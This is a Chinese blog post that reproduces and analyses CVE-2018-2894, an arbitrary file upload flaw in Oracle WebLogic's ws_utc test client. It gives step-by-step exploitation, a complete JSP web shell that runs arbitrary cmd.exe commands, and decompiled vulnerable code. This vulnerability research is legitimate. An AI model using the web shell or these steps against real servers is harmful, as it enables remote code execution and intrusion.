Chybeta

WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】

WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】

CVE-2018-2894

漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

下载地址:http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip

漏洞复现

服务启动后,访问 http://localhost:7001/ws_utc/config.do

1.jpg

可以将当前的工作目录为更改为其他目录。以本地环境为例,可以部署到C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war

选择右边的安全栏目,添加JKS Keystores上传文件。假设chybeta.jsp内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>

抓包获取到时间戳为1531987145013,则上传到的位置即config\keystore\1531987145013_chybeta.jsp

2.jpg

访问http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp

3.jpg

简要漏洞分析

ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void changeWorkDir(String path) {
String[] oldPaths = this.getRelatedPaths();
if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
this.isWorkDirChangeable = false;
this.isWorkDirWritable = isDirWritable(path);
this.isWorkDirChangeable = true;
this.setTestClientWorkDir(path);
} else {
this.persistWorkDir(path);
this.init();
}
if (this.isWorkDirWritable) {
String[] newPaths = this.getRelatedPaths();
moveDirs(oldPaths, newPaths);
} else {
Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
}
}

此函数用于改变工作目录,但其中并未做任何检测。

ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Path("/keystore")
@POST
@Produces({"application/xml", "application/json"})
@Consumes({"multipart/form-data"})
public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
if (!RequestUtil.isRequstedByAdmin(this.request)) {
return Response.status(Status.FORBIDDEN).build();
} else {
if (TestClientRT.isVerbose()) {
Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
}
String currentTimeValue = "" + (new Date()).getTime();
KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
....
}
}

跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31

1
2
3
public static String getKeyStorePath() {
return getConfigDir() + File.separator + "keystore";
}

得到要写入的路径storePath

ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
...
if (attachName != null && attachName.trim().length() > 0) {
if (attachName != null && attachName.trim().length() != 0) {
attachName = this.refactorAttachName(attachName);
if (fileNamePrefix == null) {
fileNamePrefix = key;
}
String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();
kvMap.addValue(key, filename);
if (isExtactAttachment) {
this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
}
}
}
...
}

把上传文件的内容传到了storePath目录里,文件名满足fileNamePrefix + "_" + attachName。这过程没有任何过滤和检查:)…

条件:

Reference

点击赞赏二维码,您的支持将鼓励我继续创作!
chybeta WeChat Pay

微信打赏

chybeta Alipay

支付宝打赏

本文标题:WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】

文章作者:chybeta

发布时间:2018年07月21日 - 21:07

最后更新:2018年07月21日 - 21:07

原始链接:http://chybeta.github.io/2018/07/21/WebLogic任意文件上传漏洞复现与分析-【CVE-2018-2894-】/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。